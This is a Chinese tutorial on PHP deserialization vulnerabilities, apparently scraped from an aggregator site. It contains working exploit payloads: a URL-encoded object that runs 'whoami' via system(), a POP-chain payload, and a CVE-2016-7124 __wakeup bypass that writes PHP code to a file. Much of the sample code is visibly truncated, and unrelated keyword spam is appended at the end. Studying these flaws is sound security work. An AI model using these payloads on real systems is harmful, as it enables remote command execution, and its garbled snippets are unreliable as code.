千家信息网

php反序列化漏洞

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,0x00 序列化所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象
千家信息网最后更新 2026年11月01日php反序列化漏洞

0x00 序列化

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 所有php里面的值都可以使用函数
serialize()
来返回一个包含字节流的字符串来表示。
unserialize()
函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

序列化的例子

 1,1.2,false );class ClassName   {    var $var_name = 1;    function  myfunction(){        return "1";    }}   $arrayName = array($var_int,$var_str,$var_float,$var_bool,$var_arr,new ClassName ());   foreach ($arrayName as $key => $value) {    echo serialize($value)."
"; }

结果是

i:1;s:3:"123";d:1.2;b:1;a:3:{i:1;i:1;i:2;d:1.2;i:3;b:0;}O:9:"ClassName":1:{s:8:"var_name";i:1;}

从例子中我们可以看到,变量,数组,对象可以被序列化。变量的值会被保存下来。以:隔开,类名会被保存下来,类变量,类变量名和类变量值会被保存下来,类方法不会被保存起来。

0x01 反序列化

反序列化就是将序列化后的字符串转化回数组和对象
看例子

 1,1.2,false );$un_class_str = 'O:9:"ClassName":1:{s:8:"var_name";i:1;}';var_dump(unserialize($un_arr_str));$O = unserialize($un_class_str);// var_dump($O);var_dump($O->var_name);

这里的结果是

array(3) { [1]=> int(1) [2]=> float(1.2) [3]=> bool(false) } NULL

比较奇怪的是为什么第二个会是NULL。因为将对象序列化之后,只是保存它的关键数据,对于这个类的具体内容一无所知。所以反序列回一个对象的时候,需要反序列的上下文中存在模板(这里就是类的定义)。

0x02 魔术函数

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
下面举一个例子。

class ClassName  {    function __construct(){        echo "Hello,I am __construct";    }}new ClassName();

这里的输出结果是

Hello,I am __construct

其实这里的一个对象实例化的过程中默认会调用的__construct()。
php常用的魔术函数有

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo()

这里们并非每个都会在这里面用到,下面用一个例子来说下看几个常用到的魔术函数。

";    }    function __destruct(){        echo "Hello,I am __destruct"."
"; } function __wakeup(){ echo "Hello,I am __wakeup"."
"; } function __sleep(){ echo "Hello,I am __sleep"."
"; return array($this->name); } function __get($name){ echo "Hello,I am __get"."
"; return $this->name; } function __toString(){ echo "Hello,I am __toString"."
"; return "Hello"; }}$O = new ClassName();$s= serialize($O);echo $s."
";$O = unserialize($s);$O."
";$O->nothing;

从例子我们可以看出,当初序列化一个对象是默认会调用__sleep,反序列化是会调用__wakeup,而__construct会在实例化一个对象是被调用,__desturct会在对象不再使用或者程序退出时自动调用, __toString会在对象被当做字符串时使用(特别注意字符串连接符.)。__get会在读取不可访问的属性的值的时候调用

0x03 反序列化漏洞

先举一个反序列化漏洞例子

ip);    }}$O = unserialize($_GET['daiker']);

我们分析这串代码,可以得出一下结论

  1. 反序列化的的字符串我们可控
  2. 反序列化默认会调用__wakeup()
  3. 变量ip是会保存在反序列化的字符串里面的,我们可控
    所以我们下面构造payload。

然后

http://127.0.0.1/php-obj/example4.php?daiker=O%3A9%3A%22ClassName%22%3A1%3A%7Bs%3A2%3A%22ip%22%3Bs%3A7%3A%22%7Cwhoami%22%3B%7D

就可以执行whoami,所以这里就导致RCE
所以总结来讲,PHP对象注入(又叫反序列化漏洞),需要几点条件。

  1. 反序列化字符串可控
  2. 有魔术方法会调用对象属性

对于反序列化的漏洞利用的效果取决于魔术方法里面对成员属性的调用方式,如上面的system()就会导致RCE,也可能是注入,任意文件上传等问题。

0x04 类变量的注意点

看下面一个例子

";echo urlencode(serialize(new ClassName()));

看输出结果

O:9:"ClassName":3:{s:12:"ClassNamea";i:1;s:4:"*b";i:2;s:1:"c";i:3;}
O%3A9%3A%22ClassName%22%3A3%3A%7Bs%3A12%3A%22ClassNamea%22%3Bi%3A1%3Bs%3A4%3A%22%2Ab%22%3Bi%3A2%3Bs%3A1%3A%22c%22%3Bi%3A3%3B%7D%

一个个比较,我们会发现不可打印字符打印不出来。如果我们把可打印字符用作payload,会利用失败.
如果是private 的变量,序列化的时候就会变成\x00类名\x变量名,这里就是\xClassName\x00a,urlencode之后变成ClassNamea。
如果是protected的变量,序列化之后就会变成\x00\x2A\x00变量名。

0x05 POP Chain

前面说到,要找反序列化漏洞,要有两个点。第一个是反序列化的参数可控,第二个是有魔术方法调用对象属性。但是我们往往会遇到一个问题,就是我们反序列化的参数可控,但是,没有合适的魔术方法,或者是魔术方法对对象属性的调用方法无法利用。这时候就有人提出了一个新的思路叫做POP Chain(跟二进制里面的ROP Chain 思路很像)。POP chain利用的条件是找到的魔术方法不可以直接利用,但它有调用其它方法或者使用其它的变量时,可以在其它的类中寻找同名的方法或是变量,直到可以利用的点。
下面看一个简单的例子。

attack();    }    function attack(){        system($this->cmd);    }}class ClassName  {    var $class ;    function __construct(){        $this->class=new One();    }    function __wakeup(){        $this->class->myfunction();    }}$O = unserialize($_GET['daiker']);

我们分析下代码,可以发现一下几点

  1. 反序列化参数可控
  2. 存在魔术方法__construct(),这里不可以直接利用
  3. __construct()调用了myfunction(),myfunction()不可以利用
  4. 其他类存在同名函数myfunction(),且另外一个类里面的Myfunction不可以单独被利用,但是存在可被利用的函数system()
    构造payload
cmd = "whoami";    }//跟直接写 var $cmd = "whoami',不写__construct一样,这里演示还有这种写法}class ClassName  {    var $class ;    function __construct(){        $this->class=new Another();    }}echo serialize(new ClassName());

然后提交

http://127.0.0.1/php-obj/pop.php?daiker=O:9:%22ClassName%22:1:{s:5:%22class%22;O:7:%22Another%22:1:{s:3:%22cmd%22;s:6:%22whoami%22;}}

0x06 CVE-2016-7124

我们看一个代码

var = "hello,wold";        }        function __destruct(){            $fp=fopen("F:\\phpStudy\\WWW\\unse\\hello.php","w");            fputs($fp,$this->var);            fclose($fp);        } }$content = $_POST['content'];$object = unserialize($content);?>

对比上面的代码,可以发现多了

  function __wakeup(){            $this->var = "hello,wold";        }

这个魔术函数的作用就是在反序列化的时候会执行函数里面的东西,在这题,,我们就算更改了var这个变量的值,wakeup还是会把他改回来。这时候就要用到一个CVE。
谷歌发现了CVE-2016-7124。简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过wakeup的执行。参考https://bugs.php.net/bug.php?id=72663,某一种情况下,出错的对象不会被毁掉,会绕过wakeup函数、引用其他的魔术方法。
我们只要保证成员属性数目大于实际数目时可绕过wakeup方法,原来的序列化字符串是O:6:"object":1:{s:3:"var";s:18:"<?php phpinfo() ?>";}
把object后面的1更改为大于1的数字就可以了。。

成功绕过

0x07 经典案例

1.typecho 反序列化漏洞
2.SugarCRM v6.5.23反序列化漏洞

序列 对象 方法 变量 字符 魔术 函数 字符串 例子 属性 漏洞 就是 代码 时候 结果 参数 两个 个数 名字 实例 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中关村互联网 科技集团 互联网金融监管科技数据 互联网 科技 互联网 科技公司 深圳互联网科技公司 互联网金融 科技金融 互联网 卓越科技 互联网科技公司做什么 顺网科技2021年互联网排名 互联网科技实习生岗位职责 岳阳华臻互联网科技有限公司 阿大互联网科技有限公司 互联网科技扶贫时间 深圳市罗太互联网科技有限公司 互联网金融科技名词解释 工业互联网展湾科技股份有限公司 银行科技岗属于互联网吗 互联网领先科技成果宣传视频 现代科技的标志之一的互联网 恒生科技互联网指数十大成分股 互联网科技公司电话 上海卓越科技 互联网 哈尔滨新华互联网科技 湖南洣水互联网科技有限公司扣款 恒银科技与互联网金融 厦门比较好的科技互联网公司 荆州市昕露互联网络科技有限公司 上海钢联属于互联网科技股吗 伍佰万互联网科技怎么赚钱 互联网金融金融科技
0